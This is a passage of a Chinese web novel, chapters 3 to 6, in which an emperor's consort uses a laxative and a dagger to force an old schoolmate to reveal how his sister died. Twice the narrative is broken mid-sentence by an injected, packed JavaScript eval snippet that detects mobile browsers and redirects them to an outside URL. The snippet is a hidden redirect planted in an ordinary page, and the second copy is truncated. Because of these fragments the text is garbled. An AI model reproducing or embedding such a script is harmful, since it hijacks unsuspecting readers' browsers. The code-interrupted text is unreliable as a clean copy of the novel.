他垂眼看向自己拢起的掌心,刚才他隔着衣物捏了把燕赫的臂膀,那样结实而有爆发力,和他们一/丝/不/挂缠绵时的略有不同。 他们好像......从未在衣着端正时近距离接触过。 明明有两年的肌肤之亲,但每次下榻后,两人都是一副陌生的感觉。 燕赫见他垂眸不语,还盯着自己的手掌出神,帝王那张死气沉沉的脸上浮现一丝波澜,凝视着他发问:“在看什么?” 话音,兰沉浑身紧绷,手心瞬间紧握成拳,想到刚才的胡思乱想,心虚地收回袖口中,快速整理一团乱的脑海,有些不自在回道:“禀陛下,没什么。” 燕赫 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所以他现在摸不清燕赫到底想做什么,只觉得有股压迫扑面而来,让他提心吊胆不敢乱动,目光也只能落在燕赫脸上。 其实这般近在咫尺的接触数不胜数,尤其是在深夜时,这张脸颊的额角会挂着汗珠,朦胧中所见的轮廓令人惊心动魄,不可否认,燕赫有着一张让人容易着迷的脸,哪怕这双阴沉的眼眸毫无感情,那身上那股的气质总能莫名将人吸引。 可无人敢对这张脸起歹心,亦或者说,无人敢对这位喜怒无常的帝王有歹念。 哪怕是眼下的一举一动,兰沉都要小心揣度他所想,以免如传闻那般不慎触怒龙颜,让自己死无葬身之地。 兰沉放轻呼吸,却只见燕赫观察须臾后抬首,面无表情朝自己问:“疼?” “什么?”兰沉呼吸一乱,微微愣住,低头看着手腕处,才发现竟有一圈红印未消,是刚才跌倒时被嵌住所致,顿时明白他所指,旋即摇头回话,“不疼。” 不仅不疼,也不敢疼。 说话间,他感觉掌心一阵凉意,猛然发现自己的手被掀开,掌心的热汗随温度蒸发的同时,燕赫的询问也随之而来。 “既然不疼,掌心为何出汗。”燕赫用指腹轻拭他的掌心,冷淡的质疑中带着笃定,“难不成心虚?” 兰沉一听,倏地把手收回,连看他的勇气都没有了,轻声回道:“恕微臣不懂陛下圣意。” 奈何他的嗓音因喉疾的影响变得很轻,此言一出,倒是显得他更没底气了。 燕赫听见后意味不明轻笑一声,起身躺回了那狭窄的坐席中,双腿交叠而坐,漫不经心用指尖挑起车帘一角,望向窗外的眼神难辨喜怒。 兰沉在他掀车帘时投去目光,透过窗口一角,发现他们仍在坊间,心中疑窦更甚,想询问燕赫为何出现在此,却在看见他阴沉沉的神色而放弃。 他不想去惹一个毫不了解的人。 兰沉谨慎打量着燕赫,发现他一如两年前初见时那般,浑身散发着不近人情,面色傲慢阴冷,如一条在龙椅上盘桓多年的蛇。 这般深不可测之人难以亲近,更难捂热,正因如此,兰沉向来只恪守本分尽面首之职,侍奉君王左右,即使两年前他在龙榻上向此人求死不得,也从不敢认为此人是善心大发,只当一时幸运罢了。 兰沉看了看无虞的手腕,心思回到今日这场宴席上,他想知晓长姐是否如兰玉阶所言无碍,最保守的方式只能去见李锦司。 此刻若是回宫,想要再请旨出宫恐怕不易,即使有兰玉阶作为理由,也不便单独约见李锦司。 思来想去,今夜确实是最好时机,虽然李锦司不在渝州多年,但谈及长姐时他对兰玉阶的态度大有不同,想必是知晓什么内情。 回想提及长姐之事他得逞的嘴脸时,兰沉愈发觉得蹊跷,打算寻个由头暂时摆脱燕赫,趁着宴席散去截下李锦司才行。 思索间,兰沉已敲定主意,下定决心后抬眸朝燕赫看去,顿时落入一双深邃的眼眸中,刹那间一股森然的寒意自脚底窜起,让他哑然。 燕赫轻挑眉梢,似笑非笑觑着他道:“想跑?” 4. 第 4 章 兰沉未料心思竟被无情戳破,神情略微顿住,转念间便想到了理由说:“陛下,微臣有些晕车,可否准允微臣下车随行?” 如若能离开车厢,那再寻办法便简单多了。 他表面淡定看着燕赫,实际却是提心吊胆,在思考离开的同时,也在掐指计算着去找李锦司的时辰。 两人对视片刻,燕赫转眼扫向车帘,慢悠悠道:“停。” 他的尾音拉的极长,扬起的语气里带着些无可奈何,似乎无聊透了,又或是见惯兰沉不为所动的模样多了,竟期待着他能搅出点动静打发时间。 马车缓缓停下,兰沉欲起身向他行礼谢恩,怎料身子被一道影子覆盖,转眼便瞧见燕赫比他先一步离开了车厢。 兰沉:“......” 计划有变。 他从未和燕赫过多接触,自然不会意识到燕赫的行为反常,所以无法追问下车缘故,只能硬着头皮跟着他的脚步离开了车厢。 天色将晚,簌簌风雪中只有零星几人在街上行走。 燕赫侧身见马车里钻出的身影,还伴随着几声咳嗽声传来,他伸手从怀里摸索了须臾。 兰沉的脸颊被寒风撞得发僵,顺手拢起身上的大氅,氅衣的香味随着冷气灌入鼻息,让他记起这氅衣还是兰玉阶的。 他蹙了蹙眉,随手便解下了大氅丢至身后车厢,抬眼下车之际,发现一只手悬停在半空,掌心里见一枚梨膏糖静静躺在其中。 他朝这只手的主人看去,面露惑色,“陛下这是赐给我的吗?” 燕赫瞥见被他丢弃的大氅,语气颇为愉悦说:“不是赐,只是想给你的。” 兰沉闻言伸手去取那枚梨膏糖,结果竟然被燕赫握住了手,猝不及防间,便也扶着他顺其自然下了马车。 待松开时,那枚梨膏糖落在了兰沉手里。 他拆开梨膏糖的糖衣,端详发现和自己日常所食别无二致,可偏偏今日他出门时忘带,后来太监给了他,未料燕赫身上居然也有,想来平日和大臣议事也免不了口干舌燥。 兰沉把梨膏糖含在口中,清甜爽口的梨香迅速占据整个舌腔,他发干的喉咙渐渐得到缓解。 其实平日他与燕赫相处时,燕赫时不时会给予一些小恩小惠,就跟给小猫小狗喂零嘴似的,只是相比起对一个人的尊重,更像是把自己当成宠物对待,在他看来根本谈不上宠爱。 两人站在长街上,四周茫茫白雪,石灯为昏暗的寒夜照亮前路。 兰沉往茶楼的方向看去一眼,思索着接下来要如何脱身时,偏头便撞上燕赫凝视自己的双眸。 如此悄无声息的观察令兰沉生起警惕,这一刻好似渐渐体会到何为伴君如伴虎,帝王的心思他既不敢猜,更猜不透,可自己的心思却无所遁形,稍有破绽就会露出马脚,加之自己对燕赫并不了解,总觉得他盘旋在周身,阴魂不散,悄然捕捉着自己所有动静。 “陛下。”兰沉上前一步,试图让自己说话的声音大些,“不知陛下想要去往何处?” 燕赫左右看了眼四周,“这话应当孤问你,方才东张西望是想去哪?” 兰沉腹诽,总不能告诉他要去设宴的茶楼,一来自己是冲着李锦司而去,二来帝王随行若被发现必然引起轩然大波,左思右想他都找不到合适的理由,被燕赫跟着,眼下又该如何单独找李锦司? 可惜挠头半天不出结果,兰沉干脆如实相告,“禀陛下,微臣想回茶楼询问有关长姐之事。” 若要以兰玉阶做挡箭牌而有了牵连,他还不如被燕赫拒绝。 燕赫搭着眼帘看他的脑袋,委实想撬开看看里面装了些什么,不过见他诚实告知,又是与亲人有关,索性应了他所求,“既如此又何必遮遮掩掩,孤随你回去一趟便是了。” 说着他示意马车掉头,准备上车离开。 谁知兰沉忽地挪了下脚步,拦住他的去路道:“陛下,天色不早了,若出意外微臣岂非死罪,陛下不如先行回宫,微臣必然速速解决。” 分道扬镳的意图明显,燕赫一听,沉吟少顷,微微低下头说:“孤回宫,你不在,谁侍寝?” 他说这话并不顾及旁人,好在四周侍从充耳不闻,唯独兰沉听见时略微心惊,知晓他必然都听见了自己在茶楼前所言,此时想摆脱也是徒劳,看来只能说服自己接受燕赫一切匪夷所思的行为了。 气氛有些僵持,兰沉觉得寒风如刀,刮得耳根好烫,不由想躲开燕赫的注视。 燕赫朝他俯身,如贴近自己心爱的猎物般,动作缓慢而隐秘,直至唇面几乎贴上他的耳廓才停下,“若你不在,今夜你去见谁,孤便杀谁。” 兰沉的瞳孔顿时放大,浑身跟着发麻,僵硬站在原地,在快速思考如何回答间,一个念头自脑海里闪过,既然猜不透他的性子,索性光明磊落面对,行见招拆招的策略或许更合适。 冷静下来后,他放轻呼吸回道:“微臣......确有一事未了,恳请陛下成全。” 话落,燕赫拉开距离看了看他,连问都不问,二话不说便道:“准了。” 兰沉以为他会询问何事,却见他抬脚回了马车,所有的行为毫无规律可言,似乎全看心情如何。 无声的轻叹后,兰沉满腹疑惑,都说这位陛下从不关心他人死活,今夜陪着自己兜兜转转是为何,他实在想不懂,只能转眼往一侧杵着的侍卫朝歌看去。 朝歌乃帝王的贴身侍卫,看着年纪尚幼,除了御前公公便只有他常伴君侧,然而,当朝歌瞧见兰沉迷惑的眼神时,也只是紧绷着一张脸摇头表示不懂。 即便他跟随主子多年,也无法准确判断主子下一步会做什么,而且今天的主子,似乎很在意兰沉出宫见兰玉阶之事,从前也不见主子对哪位面首如此上心,果真难以捉摸。 兰沉趁着空隙问道:“陛下为何来接我?” 朝歌一本正经说:“顺路。” 兰沉:“......” 真是出乎意料的理由。 还没来得及打听,忽地见一黢黑之物被人从车厢里踢出,哐当一声砸在街上,里面的东西紧接着散落满地。 待兰沉瞧清是兰玉阶所赠的锦盒后,神色愣了愣,虽然他不可惜,还想过把东西给太医院制药避免浪费,眼下被燕赫一脚踹飞,他忍不住揣测燕赫此举有何意思。 别的朝歌可能看不懂,但是主子这个举动肯定看懂了,是催促的意思,他连忙让兰沉赶紧上车哄哄主子。 兰沉对地上的锦盒视而不见,快速踏上马车,踩着脚下的大氅坐下,随后马车往茶楼的方向而去。 宴席随着入夜散去,兰沉花了些银子从掌柜处打听消息,得知李锦司去往烟花之地后,马不停蹄去了目的地。 各式青楼叫人眼花缭乱,不知从何处下手,好在兰沉清楚李锦司是爱慕虚荣之人,今日宴席虽是兰玉阶所设,但李锦司为了在膏粱子弟面前炫耀,定然会借机又招待一番。 果不其然,兰沉在此地最大的青楼里寻到了踪迹。 显然李锦司未料他会折返,便大大方方应邀上门,出现在兰沉定的包厢里。 彼时燕赫正伫立在栅栏边,不知在眺望着何处入了迷,连李锦司进屋都不曾回首瞧一眼。 李锦司进来时便瞧见了燕赫,虽然觉得有几分熟悉,但想不起来了,又逢喝了酒,更不曾多想,而是将注意力都落在兰沉身上,二巡醉酒后言语上更无遮拦,带着满身酒气笑道:“你贵为帝王面首,夜半不归,冒着被杀头的风险来见我,莫不是为了兰玉箬的事吧?” 他能这么断定,只因今日宴席所见兰沉对兰玉阶的态度,猜测兰氏兄弟二人生了嫌隙,何况此时邀他相见,以至他更笃定心中的猜测。 提及长姐,兰沉眸光闪烁了下,并未急着接上他所问,而是反问道:“你怎知我不是为了下毒一事前来?” 随着话落,那边栅栏站着之人回首看来,视线落在兰沉的身上,更因他所言而多扫了眼李锦司,最后看到李锦司拎起了茶壶后,才缓缓收回了目光。 李锦司想倒茶给自己醒酒,闻言手中动作停顿了下,斜睨着兰沉许久,有些迟钝道:“什么下毒?” 他像是沉思了下,不理解兰沉何出此言,接着说道:“什么下毒?谁下毒?你有证据吗?” 流水声回荡在屋内,待他端起茶杯时,还肆无忌惮朝兰沉冷哼了声。 他能这般理直气壮挑衅,在兰沉看来完全是意料之中,俗话说物以类聚人以群分,即便寻到宴席中的旧人,又怎会相助自己去指证同流合污之人呢。 兰沉想要打听消息的方式很多,但他敏感的是兰玉阶当时给出的反应,且谈及长姐后,李锦司对兰玉阶一改言听计从的态度,若非掌握了秘密在手,岂会如此反常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730311|157270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过他既能来,能预料的局面都想过了,所以并非全无准备,当他看着李锦司喝完茶后,才不疾不徐道:“既然如此,那我在茶水里下毒,你主动喝下了,是不是也我无关呢。” 他平静的视线落在被下了泻药的茶壶。 事实证明,以其人之道还治其人之身的效果立竿见影。 李锦司一听,双腿猛地发软跪在他面前,快速伸手去扣喉,只是满腹酒水并无东西可吐,几声干呕下来脸色也跟着惨白,险些把黄疸吐了出来,气急败坏指着兰沉怒嚎几声,“兰沉!你给本少爷喝了什么!快传大夫!传大夫!” 他对着门口大声吩咐却无人回应,因为朝歌带着侍卫守在了门外。 李锦司意识到事态不妙,察觉面前之人已非当年那个天真的少年,连忙从地上踉跄起身,巡睃四周,视线落在栅栏的方向。 情急之下,他为了求得解药,不惜威胁道:“兰沉!你在宫外与男子私通,秽乱宫闱,罪不容恕!只要你敢踏出这扇门一步,所有百姓便是人证!” 兰沉静静看着他怒气冲冲试图要挟,转眼看了看被指着的燕赫,虽然知晓李锦司此举是为解药,却还是同情他的冒死之举,专挑得罪不起的人惹。 他望着浑噩的李锦司,提醒道:“当年求学之时,夫子曾劝你日后慎言慎行,原来你贵人多忘事,还是一点没记住。” 时隔多年,李锦司的确没记住,甚至随着兰玉阶的庇护越发变本加厉,养成仗势欺人的性子,眼下被反咬一口,受惊后又哪能听得进去劝,权当兰沉是害怕被人曝光这段关系。 他自以为是把柄,便抓着这点不放,只手掐着喉咙,抬袖怒挥桌上的茶具,面色狰狞盯着兰沉,指着燕赫的背影说道:“你若不交出解药,我现在便撞门,让天下人瞧清你们苟且的嘴脸!” 他真不该低估了兰沉的手段,如今想来不免觉得后怕,传闻帝王患有疯病,兰沉能在宫中活两年,岂非一点手段没有,眼下仔细一看,他甚至怀疑兰沉是否也染了疯病,被放出来后逮着人就乱咬。 事实上,兰沉不仅没疯,还因为在内宫待久了,耳濡目染前朝内宫之事多了,学会夫子曾言的藏锋,经历过去诸多事,他将敏感发挥在自保上,久而久之更能快速嗅到危机以求脱险。 此刻两人对峙间,他专注对付李锦司,余光忽见栅栏旁的身影动了动,倏地转头看去,发现是燕赫后才放松警惕。 李锦司顺着他的目光扭头,只见燕赫回身看来,扬起声音道了声,“苟且?” 绚丽的灯火在他身后铺开,可他阴郁的脸颊却藏在背光的阴影中,难辨喜怒,看得李锦司背脊发寒。 因为燕赫有意隐藏身份,加之从前极少出宫设宴,所以李锦司没能及时看破。 他上下打量燕赫华贵的衣袍,想从穿着上找到破绽,可是脑袋迟钝转了半晌,也没在记忆里找到相匹配的富贵人家,碍于不了解,他保持一惯盛气凌人的语气道:“你若识趣,便替我杀了兰沉,今后必能保你荣华富贵!” 燕赫缓步靠近他们,行至两人中间时,侧目看了眼狰狞的李锦司,仿佛生了兴趣,随后绕着兰沉走了一圈,悄无声息停在了他的身后,玩味的目光穿过兰沉的落在李锦司身上。 兰沉立在原地,出于不了解,也无法识破他下一步想做什么,导致他贴近自己时,连呼吸都跟着变轻,此刻燕赫站在后方,以一个极为缓慢的动作逐渐贴近自己。 当兰沉的背脊触碰到一个□□的胸膛后,身子瞬间绷紧,心里竟也变得忐忑,脑海里似有一根弦被强行绷直,注意力都落在了后方的动静。 直到他眼角的余光出现燕赫的侧脸,未等他猜测这人接下来的举动,脸颊忽地被一道力气嵌住,毫无防备掰向一侧端详。 下一刻,燕赫突然向他靠近,惊得他屏住了呼吸,适才还从容应对的模样染了几分紧张。 其实什么都没发生,但燕赫见到他生动的表情时,眼底划过一丝笑意,从前难得见到,此刻倒是生了些贪心,还想逗弄一番,让这张出挑的脸蛋更活跃些。 奈何兰沉的脑袋一片空白,并没捕捉到异样,甚至因为他们的脸颊几乎贴在一起,姿势亲密到让他走神,连耳边丝竹管弦的乐声忽远忽近,满眼只有燕赫这双沉郁凌厉的双眸,恍然间,他脑海里闪过一个疯狂的念头。 燕赫难不成真要和这人交易? 5. 第 5 章 兰沉想开口阻止时,燕赫俯身在他脖颈间嗅了嗅,像是明晃晃宣誓着两人有一腿又如何。 直到帝王意犹未尽放过他后,转眼瞥向李锦司道:“可是杀人犯法,何况如此尤物,若只用荣华富贵来换,岂非轻贱了我这宝贝?” 听这商量的语气,兰沉悬着的心终于死掉了。 李锦司眼底闪过喜色,欲和他商榷之际,腹中忽地传来一阵剧烈的疼痛。 只听一声闷响传来,李锦司后退时背脊撞到墙上,此刻正满脸痛苦捂着腹部,双腿一软,登时滑落在地,深冬寒夜里,只有他被折磨得满额冷汗。 他的五官扭曲着,仰起头看向燕赫,颤颤巍巍从怀里取出一枚玉佩,紧握良久后丢至他们脚边,忍着不舍咬牙道:“拿去!这是崇王府的腰牌,只要你杀了他,想要任何东西我都能满足你!” 一阵摩擦声后,兰沉低头看了眼地上,那枚白玉腰牌正好滑在面前,的确如李锦司所言,这是崇王府的腰牌无误。 崇王位极人臣,离不开辅助燕赫登基的功劳,但随着时间流逝,传言如今的崇王,说是摄政王也不为过。 兰沉神色凝重望向燕赫,发现燕赫并不关心那玉佩,只一味的盯着自己看,像是把心思都用在自己身上了,期待能给出什么反应。 这样的眼神兰沉太熟悉了,因为燕赫在榻上也喜欢观察自己的神情,恨不得看出花来,他以为这是燕赫观察人的习惯,可今夜这一路过来,燕赫也没正眼瞧过他人。 他无心揣测燕赫所想,一来方才的交易事关自身生死,二来这腰牌来之突然,无论李锦司和崇王府是否有牵扯,光凭着这枚腰牌,燕赫也该有所猜忌才是,哪位帝王能忍受近臣私下笼络势力? 当然这也是李锦司抛出腰牌的目的,毕竟崇王地位一人之下,世人皆知崇王扶持燕赫登基,在朝中地位举足轻重,连帝王都要对崇王礼让三分,有此腰牌,莫说是荣华富贵了,在京中横行霸道都无人阻拦。 兰沉见燕赫不为所动,也顾不上那么多,决定先发制人,厢房中只有他们三人,李锦司若死,自己和燕赫便是同谋,天子犯法与庶民同罪,只能走一步算一步了。 他的余光察觉李锦司要从地上爬起时,当机立断取出袖中暗藏的匕首,反手一握,倏地朝李锦司而去,话不多说抵在对方的脖颈处。 速度之快,让人防不胜防,只听李锦司倒吸一口冷气,屏着呼吸,双眼放大,无暇理会腹痛带来的折磨,满脸惊恐注视着近在咫尺的脸颊,眼珠朝下滚动,泛着冷冷银光的匕首倒映在瞳孔之中。 虽然被威胁,但他心中还存有一丝侥幸,认为兰沉不敢真的动手,“你不敢杀我,以前我们同在学堂念书,隽寒就说过你胆子小没什么出息,做不了这打打杀杀的事情,只能一辈子当温室的花,你现在就算威胁我也没用。” 此言一出,旁观的燕赫竟失笑了声,饶有兴致打量兰沉用刀的姿势,以一种肯定的语气否认了李锦司所言,“他胆子可不小。”说罢他觉得伤害不够,又补了句,“不仅会杀人,而且快准狠,你绝对想不到。” 李锦司见他如此认真点评,心里发怵,气势变弱了都还要质疑,“你、你如何得知!” 燕赫慢悠悠道:“你试试不就知道了。” 话落的瞬间,兰沉抵着匕首的力道加重了些,顺着燕赫所言提醒道:“看着我。” 他的话就像无形的命令,彻底击碎李锦司强撑的伪装。 “兰、兰云泽,手下、手下留情!”李锦司未料他竟如此果决,方才嚣张的焰气偃旗息鼓,张口便是求饶,“你若是动手,这、这附近的官兵必定闻讯赶来,有话好商量,有话好商量!” 可是兰沉无动于衷,只冷冷问道:“我只问你一事,阿箬姐出了何事?” 李锦司头脑混乱,咽了咽喉咙说:“你先把我放开,我必定......” “废话少说!”兰沉将匕首抵进两寸,懒得和他废话,“你且看我敢不敢动手便是了。” 李锦司见他眉眼凌厉,和今日宴席所见时的温顺截然不同,仿佛披着羊皮的狼,撕下伪装后露出了真面目。 他好后悔,他真该把兰玉阶带来,看看这位弟弟时隔两年后的模样,竟变得这般不堪入目。 一阵轻微的疼痛将李锦司的逞强打破,触感随着恐惧逐渐放大,他甚至感觉喉咙的皮肤被割断了,也明白兰沉不会善罢甘休,可他知道兰玉箬和兰沉的关系,但兰玉箬死了啊,他该如何相告,无论说出与否,恐怕都是死路一条。 他的眼珠子转向燕赫,苦苦求助道:“这位公子,适才你不是说杀人犯法吗?快劝劝云泽,我们今日好聚好散,就当什么都没发生过也可以!” 谁知燕赫闻言后失笑两声,几步上前行至兰沉身后,朝李锦司强调道:“你杀人当然犯法。”他转眼看着兰沉续道,“我这宝贝杀人可不犯法。” 兰沉一听他喊自己宝贝,握刀的手不免一紧,刀锋下见血丝淌过,化作血珠从刀剑滴落至李锦司的靴面。 这一来二去的恐吓,李锦司彻底失了神色,他见不惯燕赫的痴情,又不敢随意得罪,任由窝囊的眼泪落下,毫无底气痛斥燕赫一声,“你好偏心!” 结果换来燕赫一声冷笑,似在嘲他的蠢得可爱。 “闭嘴。”兰沉警告李锦司,也无暇管燕赫所言之意,不过既然有了燕赫的包庇,索性一不做二不休,“我的嗓子几近残疾皆拜你所赐,你能死在我刀下不冤,权当是还债了,我若是你,便会识趣以消息作为条件交换,而不是在此苟延残喘。” 他声音虽轻,压迫感不减,像被一阵风带进耳边,温柔却无情。 李锦司冷汗涔涔望着面前如同恶魔的两人,万分后悔应邀前来之举,再一次怪罪自己轻视了兰沉。 沉默片刻后,李锦司终究还是惜命,服了软垂着头,声音沉沉道:“......兰玉箬,死了。” 兰沉先是一愣,刹那间陷入茫然,握着刀柄的手颤了下,随后听见李锦司慌张的一声哀嚎,哆嗦着劝他切莫乱来,聒噪的哀求让他回了神,匪夷所思道:“你说什么?” 长姐是家中最和善之人,自小性子开朗讨人喜欢,被兰氏上下捧在手心长大,含在嘴里怕化,捧在手里怕摔。 每逢自己因身份被嘲弄时,永远是长姐率先站出来斥责旁人,那年他被诬陷考卷抄袭,只有长姐一口咬定自己被冤枉。被关禁闭期间,长姐甚至冒着被家主责罚的风险,摸黑送来了点心安抚自己,时刻担心自己赶不上科举,暗中为自己争取解禁,即使被连累也毫无怨言,直到离开渝州,他们也未曾好好道别,这么好的一个人,怎会就死了呢? “兰云泽,你、你千万冷静......”李锦司见他失魂落魄,生怕他失手了结自己,为了保命只能如实交代,“你离开不久后,兰玉箬怀了孩子,是她得知你被送上京,回家和隽寒大闹一场后才出事身亡。” 兰沉见他说到最后时神情闪烁,根本不相信,猛然将匕首往伤口推进,逼问道:“说清楚!不然死的就是你!” “我说!我说!”李锦司吓得失禁,靠着双手贴墙支撑发软的身体,断断续续接着说,“当年陛下登基,扬言兰氏功高盖主,点名要兰氏之子入宫,可谁人不知你是养子?传闻陛下患有疯病,岂能以常人思维所理解,若把你送去恐视作欺君之罪,兰氏多年心血或将付之一炬!隽寒作为未来家主,怎么可能入宫,所以他借兰玉箬夫家的权势,镇压一切有关你的流言,让你以兰氏之子的身份堂堂正正入宫侍奉......” 他不禁回想起当年,恰巧那日他回渝州为兰玉阶办事,得知兰玉箬身怀六甲回府,因此事和兰玉阶大闹,不慎动了胎气难产,那时兰玉阶有要事在身,私下给他留了家主腰牌,叮嘱一句“以大局为重”后离开了。 当产婆问及保大保小时,他拿着兰玉阶给的腰牌,虚荣心大发,擅自下令保小,最后眼睁睁看着兰玉箬死在榻上,说实话,那双死不瞑目的眼眸,委实是他见过最美的。 兰沉万万没想到长姐会因自己而死,内心翻涌的愧疚令他连匕首都握不住,倏然抖落而下。 眼看刀尖掉落,他迟疑间来不及闪避,一道力气自腰间传来,拎着他后撤两步,躲开扎向脚上的匕首。 “小心。”燕赫揽着他的腰,见他魂不守舍时,眉头不禁蹙起。 随着匕首的掉落,瘆人的危机解除,李锦司也跟着跌倒在地,狼狈捂着受伤的脖颈,视线落在地上的匕首。 他本来想踢开匕首逃跑,但盯着犹疑片刻,似乎想到了什么,呢喃了句,“这刀不是隽寒的吗?” 在他肯定了这个答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可如今既已知兰玉阶是凶手,他对兰氏仅存的良心也泯灭了,眼下看来,与其做无谓的争取,他更想看兰玉阶失去一切的模样,是否会如当年的自己那般生不如死,痛不欲生。 权衡一番,他认为取得帝王的信任比什么都重要。 他在燕赫怀中悄然吸了口气,忽然抬眸与之对视,语气里带了些不易察觉的安抚,用两人方能听见的声音表忠道:“陛下,我不会让冲撞你的人安息。” 这世上,既已无人真心待他,又何须顾全再多,所谓欺君之罪,亦能成为他的利刃。 燕赫沉郁的眼眸里全是他的脸颊,这张脸上的恳切分明,比起从前更让人心动摇,帝王心情大好,连眼底的戾气也被一扫而空,冷淡的声音里带了些喜悦,“好啊,孤迫不及待想看结果了。” 两人默契横生,不知不觉中达成了某种合作。 这是兰沉初见他喜上眉梢,总觉得他有一种发自内心的满足,似乎对自己的表忠很受用。 不过他无心多想,打算先把李锦司处理掉,若在此将人了结,只怕平添事端,何况李锦司为兰玉阶做事多年,想必知晓不少秘密,一定要让他死前发挥最大的价值。 事关报复,若有利于自己,将来未必不能为己所用,眼下倒不如以利益为诱饵,让李锦司吃尽两边好处,再借刀杀人也不迟。 他可以隐瞒燕赫的身份,以二人的关系作为把柄和李锦司提出合作,附加钱财上的诱惑,最终换的李锦司点头同意。 离开后,兰沉于心不安,总是想起兰玉阶今日许下的承诺,三月之期所为何事也不曾细说。 回宫途中,车厢内保持一惯的安静,兰沉不知该说什么,此前他只从传闻和床榻上了解燕赫,许多事情他虽无法苟同,但也不会轻易试探,只说欺君一事,换作朝堂上的燕赫,想必斩立决,但他却能顺利处置李锦司,还安然无恙回了宫,可见燕赫并非传闻的暴君。 但毕竟欺君有关兰氏,自己还冠了兰氏姓名,虽说不知者无罪,但最是无情帝王家,燕赫的性情比天气还难猜,他没有保命的把握,所以不会冒然试探燕赫对此事的看法。 两人就这么沉默到马车停下,他跟随燕赫的脚步落地,深夜冷风灌入他的身子,冻得他抬手搓臂膀,偷偷吸了吸发红的鼻子,等着恭送燕赫离开再回寝殿。 这么晚了,燕赫也该歇了吧。 朝歌也朝太极殿的方向看了眼,心想若是明日主子不上朝,免不了被言官进谏,奔波了整日,不如让主子早些休息。 他站在两人之间,对燕赫行礼道:“主子今夜想在何处留宿?” 6. 第 6 章 月黑风高,辉煌的皇城一片死寂,马车旁驻留的几人面面相觑,朝歌的话无人回应。 这话问得直白,再配上朝歌暗示的神情,脸上明摆着就是暗示主子回太极殿。 而兰沉被深夜的寒风吹得迟钝,心里想着为何宫殿的人还不来接自己,等回神后才察觉朝歌所言,且久不见燕赫有所反应,他奈不住寒冷和好奇便抬了眼帘。 这不抬还好,一抬起头,视线愕然撞进燕赫的眼眸,四周数人竟都直勾勾看着自己,他左看右看,最后和朝歌对视上,只见朝歌站在燕赫身后,无奈耸了耸肩膀,意思再明确不过,是要自己去侍寝了。 兰沉松开抱肩的手,指尖不慎触到袖口里的匕首,正是他今夜用来挟持李锦司所用的,离开青楼时,他特意折返回去捡走,如今就藏在身上,若被燕赫发现自己随身携带利器,岂非死路一条。 思索间,他打算找个理由拒绝侍寝,怎料垂眸思忖时,肩膀一沉,寒气瞬间被温暖驱赶,转眼一看,竟瞧见燕赫给自己披上了氅衣。 “陛下?”他抬眸望去,只见帝王黑眸深沉,深邃的眉眼尽是阴郁,若非这披衣的动作亲近得感人,他甚至怀疑自己是否不慎得罪了人,不过因为靠得近,他不得不拢起袖口,试图把匕首藏好,找了个理由想拉开距离,“陛下,其实我不冷。” 燕赫停下为他系衣的动作,瞥一眼他揣在身前的双手,牵了下唇角反问:“是吗?” 兰沉敏锐窥见他的视线,袖下的手紧紧握着匕首,根本没法解下大氅还给他,还只能佯装镇定关心道:“陛下明日还需早朝,不如早些回太极殿歇息。” 谁知燕赫猛然拽起他的手腕,转身把人往太极殿的方向拉,“那走吧。” 兰沉被拖着走出数步,听见后浑身一紧,迅速收好匕首,知道今夜是躲不过,心想这也太突然了,还想挣扎一下,“陛下,微臣、微臣还未沐浴更衣。” 没有一点点防备,也没有一丝顾虑,侍寝就这样出现,即便经历无数次亦会感到紧张。 燕赫听见他所言时脚步顿了下,但并未停下脚步,像是迫不及待似的,上赶着往太极殿去,只给身后的朝歌丢下命令道:“烧热水去。” 太极殿乃燕赫勤政之地,平日除了侍奉的宦官宫女外,便只有传召的朝臣方能进去。 这是兰沉入宫两年初次进太极殿,听闻有偏殿供帝王歇息,今夜窥见,方知传闻不虚,只是他来得突然,这一方浴池巴掌大小,瞧着不像能容得下两人。 浴室热气蒸腾,轻烟缭绕,虽然将他身上的寒气祛除不少,却还是忍不住打了个喷嚏。 受喉疾影响,他打喷嚏的声音跟猫叫似的。 恰逢此时,他听见脚步声自身后传来,回首看去,瞧见燕赫身着明黄里衣出现,束着的中发披散,与那张沉郁的面容相衬时平添两分野性。 其实这样的燕赫他见得不少,但从前只在承欢时所见,且灯火幽暗,双眼朦胧,只有闷重的喘/息声萦绕四周,又岂能如眼前这般细看。 可他不知,在燕赫眼中的他有万般模样,每个模样都能汇聚成此刻的他。 燕赫进来时,瞥见匕首被搁在不起眼的角落里,今夜李锦司那句呢喃,他听得一清二楚。 兰玉阶的信物,竟被自己的人贴身携带数年,这般念念不忘,却能日夜承欢他人身下,想想都觉得可笑。 他缓步绕在兰沉身边,端详的眸色深不见底,如一潭死水般,“你想利用孤,为你杀崇王府的人,是吗?” 兰沉立在原地,不敢冒然去观察他的神情,只能尽力捕捉他语气里的变化,“陛下冤枉,微臣并无此心。” “冤枉?”燕赫看着他清癯的背影,想起两年前他提头立于宫门的模样,“既如此,你能对下毒谋害之人心慈手软,却不能放过嘲弄你的兰氏仆从,又是为何?” 旧事重提,两年前的记忆再度涌上兰沉的脑海,被送入宫前夜,他从护送自己上京的仆从口中得知一切,悲恨交加下,动手割下仆从人头,以此解恨却不成,依旧被痛苦折磨得不成人样。 他余光瞥向角落静静躺着的匕首,那是兰玉阶年少相赠的信物,当年他用来割下兰氏仆从的头,后来他想,他要用这把匕首斩断和兰玉阶的关系。 而如今,他却想亲手把匕首捅进兰玉阶的身体里。 “陛下。”他微微侧身,朝向身旁站着的燕赫行礼道,“下毒一事过去数年,微臣并无证据可言,且此人又与崇王有关,微臣岂敢随意得罪。” 